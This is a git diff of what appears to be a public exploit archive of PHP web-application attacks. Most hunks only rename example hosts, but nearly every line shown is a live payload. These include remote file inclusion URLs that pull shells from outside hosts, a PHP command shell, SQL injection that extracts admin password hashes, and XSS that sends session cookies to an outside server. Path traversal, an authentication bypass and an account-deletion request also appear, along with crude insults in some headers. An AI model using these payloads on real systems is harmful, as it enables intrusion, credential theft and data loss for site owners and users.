exploit.pl http://server/[ProgSys_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[ProgSys_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -130,7 +130,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <ProgSys Locaction> <shell location> <shell cmd>\r\n\n"; -print " <ProgSys Locaction> - Full path to ProgSys ex: http://www.server/ProgSys/\r\n"; +print " <ProgSys Locaction> - Full path to ProgSys ex: http://www.site.com/ProgSys/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/2413.txt b/platforms/php/webapps/2413.txt index b7b37ce60..55409f542 100755 --- a/platforms/php/webapps/2413.txt +++ b/platforms/php/webapps/2413.txt @@ -57,151 +57,151 @@ Exploit: -http://www.server/[solidstate_path]/manager/pages/AccountsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AccountsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/AddInvoicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AddInvoicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/AddIPAddressPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AddIPAddressPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/AddPaymentPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AddPaymentPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/AddTaxRulePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AddTaxRulePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/AssignDomainPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AssignDomainPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/AssignHostingPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AssignHostingPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/AssignProductPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/AssignProductPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/BillingPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/BillingPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/BillingPaymentPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/BillingPaymentPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/BrowseAccountsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/BrowseAccountsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/BrowseInvoicesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/BrowseInvoicesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ConfigureEditUserPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ConfigureEditUserPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ConfigureNewUserPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ConfigureNewUserPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ConfigureNewUserReceiptPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ConfigureNewUserReceiptPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ConfigureUsersPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ConfigureUsersPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DeleteAccountPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DeleteAccountPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DeleteDomainServicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DeleteDomainServicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DeleteHostingServicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DeleteHostingServicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DeleteInvoicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DeleteInvoicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DeleteProductPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DeleteProductPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DeleteServerPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DeleteServerPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DomainServicesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DomainServicesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/DomainsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/DomainsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EditAccountPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EditAccountPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EditDomainPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EditDomainPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EditDomainServicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EditDomainServicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EditHostingServicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EditHostingServicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EditPaymentPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EditPaymentPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EditProductPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EditProductPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EditServerPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EditServerPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/EmailInvoicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/EmailInvoicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ExecuteOrderPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ExecuteOrderPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ExpiredDomainsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ExpiredDomainsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/FulfilledOrdersPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/FulfilledOrdersPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/GenerateInvoicesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/GenerateInvoicesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/HomePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/HomePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/InactiveAccountsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/InactiveAccountsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/IPManagerPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/IPManagerPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/LoginPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/LoginPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/LogPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/LogPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ModulesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ModulesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/NewAccountPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/NewAccountPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/NewDomainServicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/NewDomainServicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/NewProductPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/NewProductPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/OutstandingInvoicesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/OutstandingInvoicesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/PendingAccountsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/PendingAccountsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/PendingOrdersPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/PendingOrdersPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/PrintInvoicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/PrintInvoicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ProductsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ProductsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/RegisterDomainPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/RegisterDomainPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/RegisteredDomainsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/RegisteredDomainsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ServersPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ServersPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ServicesHostingServicesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ServicesHostingServicesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ServicesNewHostingPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ServicesNewHostingPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ServicesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ServicesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ServicesWebHostingPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ServicesWebHostingPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/SettingsPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/SettingsPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/TaxesPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/TaxesPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/TransferDomainPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/TransferDomainPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewAccountPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewAccountPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewDomainServicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewDomainServicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewHostingServicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewHostingServicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewInvoicePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewInvoicePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewLogMessagePage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewLogMessagePage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewOrderPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewOrderPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewProductPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewProductPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/ViewServerPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/ViewServerPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/manager/pages/WelcomeEmailPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/manager/pages/WelcomeEmailPage.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/modules/RegistrarModule.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/modules/RegistrarModule.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/modules/SolidStateModule.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/modules/SolidStateModule.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/modules/authorizeaim/authorizeaim.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/modules/authorizeaim/authorizeaim.class.php?base_path=[evil_scripts] -http://www.server/[solidstate_path]/modules/authorizeaim/pages/AAIMConfigPage.class.php?base_path=[evil_scripts] +http://www.site.com/[solidstate_path]/modules/authorizeaim/pages/AAIMConfigPage.class.php?base_path=[evil_scripts] greetz ;-) diff --git a/platforms/php/webapps/24134.txt b/platforms/php/webapps/24134.txt index 4530b55c5..38a05bdc5 100755 --- a/platforms/php/webapps/24134.txt +++ b/platforms/php/webapps/24134.txt @@ -1,4 +1,4 @@ -____ ____ ____ _______/ |________ ____ ____ + ____ ____ ____ _______/ |________ ____ ____ / _ \ / \_/ __ \ / ___/\ __\_ __ \_/ __ \_/ __ \ ( <_> ) | \ ___/ \___ \ | | | | \/\ ___/\ ___/ \____/|___| /\___ >____ > |_ | |__| \___ >\___ > diff --git a/platforms/php/webapps/24138.txt b/platforms/php/webapps/24138.txt index 0503ab79f..c6843f624 100755 --- a/platforms/php/webapps/24138.txt +++ b/platforms/php/webapps/24138.txt @@ -4,4 +4,4 @@ It is reported that e107 website system is prone to a remote HTML injection vuln The problem presents itself when a user supplies malicious HTML or script code to the application using a URI parameter of the log.php script. The application stores the injected HTML code, which is then rendered in the browser of an unsuspecting user whenever the log page of the affected site is viewed. -http://www.example.com/e107_plugins/log/log.php?referer=code<br>goes<here>&color=24&eself=http://www.example.com/stats.php&res=1341X1341 \ No newline at end of file +http://www.example.com/e107_plugins/log/log.php?referer=code<br>goes<here>&color=24&eself=http://www.example.com/stats.php&res=1341X1341 \ No newline at end of file diff --git a/platforms/php/webapps/24151.txt b/platforms/php/webapps/24151.txt index 01db9e601..6182cc7ab 100755 --- a/platforms/php/webapps/24151.txt +++ b/platforms/php/webapps/24151.txt @@ -4,4 +4,4 @@ JPortal is reportedly affected by a remote SQL injection vulnerability in the pr As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue. -http://www.example.com/print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1 \ No newline at end of file +http://www.example.com/print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1 \ No newline at end of file diff --git a/platforms/php/webapps/24152.txt b/platforms/php/webapps/24152.txt index 5e0c8c816..2e3b29783 100755 --- a/platforms/php/webapps/24152.txt +++ b/platforms/php/webapps/24152.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/10435/info Land Down Under is prone to an HTML injection vulnerability. This issue is exposed through their BBCode implementation. Exploitation could permit theft of cookie credentials, manipulation of content, or other attacks. -[img]javascript:alert(document.cookie);[/img] \ No newline at end of file +[img]javascript:alert(document.cookie);[/img] \ No newline at end of file diff --git a/platforms/php/webapps/24166.txt b/platforms/php/webapps/24166.txt index ad9adf534..245cdb479 100755 --- a/platforms/php/webapps/24166.txt +++ b/platforms/php/webapps/24166.txt @@ -6,4 +6,4 @@ This issue will allow an attacker to gain access to sensitive scripts such as th http://www.example.com/admin/case/case.adminfaq.php/admin.php?op=FaqCatGo http://www.example.com/admin/admin.php/index.php -http://www.example.com/admin/modules/blocks.php/admin.php \ No newline at end of file +http://www.example.com/admin/modules/blocks.php/admin.php \ No newline at end of file diff --git a/platforms/php/webapps/24167.txt b/platforms/php/webapps/24167.txt index 820b47e0f..be870f06d 100755 --- a/platforms/php/webapps/24167.txt +++ b/platforms/php/webapps/24167.txt @@ -8,4 +8,4 @@ From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><> From:(<!--(--><script>document.location='http://www.rs-labs.com/?'+document.cookie;</script><> -From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx;path=/';</script><> \ No newline at end of file +From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx;path=/';</script><> \ No newline at end of file diff --git a/platforms/php/webapps/24168.txt b/platforms/php/webapps/24168.txt index 018f6ec5e..5ff171b3d 100755 --- a/platforms/php/webapps/24168.txt +++ b/platforms/php/webapps/24168.txt @@ -4,4 +4,4 @@ Mail Manage EX is reportedly prone to a remote file include vulnerability. This This issue was discovered in Mail Manage EX 3.1.8. It is possible that previous versions are affected as well. -http://www.example.com/mail/mmex.php?Settings=http://www.example.com/malicious.php \ No newline at end of file +http://www.example.com/mail/mmex.php?Settings=http://www.example.com/malicious.php \ No newline at end of file diff --git a/platforms/php/webapps/24169.txt b/platforms/php/webapps/24169.txt index d17b34e88..ccdcdf70d 100755 --- a/platforms/php/webapps/24169.txt +++ b/platforms/php/webapps/24169.txt @@ -5,4 +5,4 @@ CSLH is prone to multiple HTML injection vulnerabilities. These issues exist due Crafy Syntax Live Help 2.7.3 and prior versions are prone to these issues. window.location("http://www.cgisecurity.com/articles/xss-faq.shtml"); -window.location("http://livehelp.someisp.com/livehelp/operators.php?remove=1") \ No newline at end of file +window.location("http://livehelp.someisp.com/livehelp/operators.php?remove=1") \ No newline at end of file diff --git a/platforms/php/webapps/24172.txt b/platforms/php/webapps/24172.txt index d54b12386..ea1426139 100755 --- a/platforms/php/webapps/24172.txt +++ b/platforms/php/webapps/24172.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/10468/info cPanel is prone to a vulnerability that can allow a remote authenticated administrator to delete customer account DNS information for customers that are not administered by that administrator. This attack can allow an attacker to cause a denial of service condition against vulnerable Web sites. -http://www.example.com:2086/scripts/killacct?domain=(domain)&user=(user)&submit-domain=Terminate \ No newline at end of file +http://www.example.com:2086/scripts/killacct?domain=(domain)&user=(user)&submit-domain=Terminate \ No newline at end of file diff --git a/platforms/php/webapps/24177.txt b/platforms/php/webapps/24177.txt index f5ab2da46..5bf9769c7 100755 --- a/platforms/php/webapps/24177.txt +++ b/platforms/php/webapps/24177.txt @@ -4,4 +4,4 @@ SurgeMail/WebMail is prone to multiple vulnerabilities. These issue result from SurgeMail versions 1.9 and prior and WebMail 3.1d are affected by these issues. -http://www.example.com:7080/<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com:7080/<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/24180.txt b/platforms/php/webapps/24180.txt index a8f7ac193..ef0a70bb3 100755 --- a/platforms/php/webapps/24180.txt +++ b/platforms/php/webapps/24180.txt @@ -25,4 +25,4 @@ # #Amirh03in # -############## \ No newline at end of file +############## \ No newline at end of file diff --git a/platforms/php/webapps/24186.txt b/platforms/php/webapps/24186.txt index b507758ab..2a621e85f 100755 --- a/platforms/php/webapps/24186.txt +++ b/platforms/php/webapps/24186.txt @@ -10,4 +10,4 @@ Version 1.3.1 Final of Invision Power Board is reported vulnerable. Other versio *** There have been conflicting reports stating the the vulnerable variable only accepts integer values and not arbitrary strings. -http://www.example.com/ssi.php?a=out&type=xml&f=0)[SQL-INJECTION] \ No newline at end of file +http://www.example.com/ssi.php?a=out&type=xml&f=0)[SQL-INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/2419.txt b/platforms/php/webapps/2419.txt index fc65fad6d..8f68b8077 100755 --- a/platforms/php/webapps/2419.txt +++ b/platforms/php/webapps/2419.txt @@ -13,7 +13,7 @@ #Page Vulnerable : template.php # Exempe Of ExPloit is: -#http://www.server/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php? +#http://www.site.com/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php? #GrEatZ All Member of ToXiC, Str0ke # ToXic Security ###### ToXiC ######################### diff --git a/platforms/php/webapps/2420.txt b/platforms/php/webapps/2420.txt index 4d04f4a0e..a2f35a967 100755 --- a/platforms/php/webapps/2420.txt +++ b/platforms/php/webapps/2420.txt @@ -11,7 +11,7 @@ #Page Vulnerable : mysql.php #Dir Page: /libs/dbmax/ # Exempe Of ExPloit is: -#http://www.server/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=http://marcusbestlamer.gay/shell.php? +#http://www.site.com/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=http://marcusbestlamer.gay/shell.php? #GrEatZ All Member of ToXiC, Str0ke # ToXic Security ###### ToXiC ###Drago84############### diff --git a/platforms/php/webapps/24228.txt b/platforms/php/webapps/24228.txt index 719b4a505..60928104c 100755 --- a/platforms/php/webapps/24228.txt +++ b/platforms/php/webapps/24228.txt @@ -18,7 +18,7 @@ 2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 -3- it will look like this http://www.server/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 +3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 upload ur shell as : shell.php diff --git a/platforms/php/webapps/24231.txt b/platforms/php/webapps/24231.txt index e6bc1217a..d314e1209 100755 --- a/platforms/php/webapps/24231.txt +++ b/platforms/php/webapps/24231.txt @@ -8,4 +8,4 @@ An attacker may craft a URI that contains malicious HTML or script code. If a vi The attacker could use this vulnerability to steal cookie-based authentication credentials, or perform other types of attacks. -http://www.example.com/?rawURL=&lt;script&gt;javascript:alert();&lt;/script&gt; \ No newline at end of file +http://www.example.com/?rawURL=&lt;script&gt;javascript:alert();&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/24234.html b/platforms/php/webapps/24234.html index 62e6f4dba..ac3edaebc 100755 --- a/platforms/php/webapps/24234.html +++ b/platforms/php/webapps/24234.html @@ -17,4 +17,4 @@ value="&lt;IMG src=&quot;javascript:alert(document.cookie)&quot;&gt;"/> </form> &lt;script&gt; document.all.preview.click(); -&lt;/script&gt; \ No newline at end of file +&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/24235.txt b/platforms/php/webapps/24235.txt index 5446585a7..6b105f3c1 100755 --- a/platforms/php/webapps/24235.txt +++ b/platforms/php/webapps/24235.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/10605/info Newsletter ZWS is reported prone to an administrative interface authentication bypass vulnerability. The vulnerability exists due to a design error in the implementation of the authentication system for the interface. The flaw allows a user to set their privileges through a URI parameter passed to the 'admin.php' script. -http://www.example.com/newsletter/admin.php?f=list_user&uname=test&ulevel=1 \ No newline at end of file +http://www.example.com/newsletter/admin.php?f=list_user&uname=test&ulevel=1 \ No newline at end of file diff --git a/platforms/php/webapps/24239.txt b/platforms/php/webapps/24239.txt index 02964e902..89c122804 100755 --- a/platforms/php/webapps/24239.txt +++ b/platforms/php/webapps/24239.txt @@ -6,4 +6,4 @@ The problems present themselves when malicious HTML and script code is sent to t These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. -http://www.example.com/example2.php?subaction=showfull&id=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/example2.php?subaction=showfull&id=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/2424.txt b/platforms/php/webapps/2424.txt index 974086f0e..fb89a714b 100755 --- a/platforms/php/webapps/2424.txt +++ b/platforms/php/webapps/2424.txt @@ -12,7 +12,7 @@ Vulnerable Code: 3 ?> PoC: -http://www.poweredbysyntaxcmsserver/admin/testing/tests/0004_init_urls.php?init_path=http://YourShell?& +http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004_init_urls.php?init_path=http://YourShell?& Solution: diff --git a/platforms/php/webapps/24241.txt b/platforms/php/webapps/24241.txt index c9b8b2039..786d632e9 100755 --- a/platforms/php/webapps/24241.txt +++ b/platforms/php/webapps/24241.txt @@ -8,4 +8,4 @@ Additionally, PowerPortal is prone to an information disclosure vulnerability. I The information disclosure vulnerability may be employed by the attacker in order to reveal potentially sensitive information regarding the layout of the filesystem on the affected computer. -http://www.example.com/modules.php?name=gallery&files=/../../../ \ No newline at end of file +http://www.example.com/modules.php?name=gallery&files=/../../../ \ No newline at end of file diff --git a/platforms/php/webapps/2427.txt b/platforms/php/webapps/2427.txt index 81b051f9c..2321fd8a0 100755 --- a/platforms/php/webapps/2427.txt +++ b/platforms/php/webapps/2427.txt @@ -17,7 +17,7 @@ #Page Vulnerable : general.php #Dir : /view/ # Exempe Of ExPloit is: -#http://www.server/polaring_dir/view/general.php?_SESSION['dirMain']=http://marcusbestlamer.gay/shell.php? +#http://www.site.com/polaring_dir/view/general.php?_SESSION['dirMain']=http://marcusbestlamer.gay/shell.php? #GrEatZ All Member of ToXiC, Str0ke # Fuck Sonic Il chan italiano + merdoso che esista diff --git a/platforms/php/webapps/24279.txt b/platforms/php/webapps/24279.txt index d8c0580b3..8ca971ab4 100755 --- a/platforms/php/webapps/24279.txt +++ b/platforms/php/webapps/24279.txt @@ -4,4 +4,4 @@ It is reported that Moodle is susceptible to a cross-site scripting vulnerabilit This issue may allow for theft of cookie-based authentication credentials. Other attacks are also possible. -http://www.example.com/help.php?file={XSS} \ No newline at end of file +http://www.example.com/help.php?file={XSS} \ No newline at end of file diff --git a/platforms/php/webapps/24290.txt b/platforms/php/webapps/24290.txt index 63355a7b8..ae6c19710 100755 --- a/platforms/php/webapps/24290.txt +++ b/platforms/php/webapps/24290.txt @@ -8,4 +8,4 @@ An attacker can exploit this vulnerability by adding HTML code within URI argume Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks. -http://www.example.com/show_news.php?subaction=addcomment&name=UserName&comments=http://www.example.com&id=1078525267||1090074219|UserName|none|127.0.0.1|<script>alert("example");</script>|| \ No newline at end of file +http://www.example.com/show_news.php?subaction=addcomment&name=UserName&comments=http://www.example.com&id=1078525267||1090074219|UserName|none|127.0.0.1|<script>alert("example");</script>|| \ No newline at end of file diff --git a/platforms/php/webapps/24291.txt b/platforms/php/webapps/24291.txt index ea57f5e01..a6b5cf7ba 100755 --- a/platforms/php/webapps/24291.txt +++ b/platforms/php/webapps/24291.txt @@ -6,4 +6,4 @@ An attacker may be able to inject HTML and script code into the application thro An attacker can exploit this issue to access an unsuspecting user's cookie-based authentication credentials and to retrieve personal email. Other attacks are also possible. -<IMG SRC="javasc&#X0A;ript:alert (document.cookie)";" border="0" height="1" width="1"> \ No newline at end of file +<IMG SRC="javasc&#X0A;ript:alert (document.cookie)";" border="0" height="1" width="1"> \ No newline at end of file diff --git a/platforms/php/webapps/24292.txt b/platforms/php/webapps/24292.txt index e057645eb..bccc1636a 100755 --- a/platforms/php/webapps/24292.txt +++ b/platforms/php/webapps/24292.txt @@ -7,4 +7,4 @@ Print Topic Mod version 1.0 is reported to be affected by this issue. http://www.example.com/printview.php?t={existing_topic's_id}&order_sql=UNION%20 SELECT%201%20,%20user_password%20,%201,%201,%201,%201,%201,%201,%201,%201,%201, %201%20FROM%20{phpbb_users_table}%20WHERE%20user_id%20={some_user's_id}%20ORDER -%20BY%20t.topic_id%20ASC \ No newline at end of file +%20BY%20t.topic_id%20ASC \ No newline at end of file diff --git a/platforms/php/webapps/2436.txt b/platforms/php/webapps/2436.txt index 4b8fb8490..4826133e7 100755 --- a/platforms/php/webapps/2436.txt +++ b/platforms/php/webapps/2436.txt @@ -16,7 +16,7 @@ #Dir : /navigation/ # Exempe Of ExPloit is: 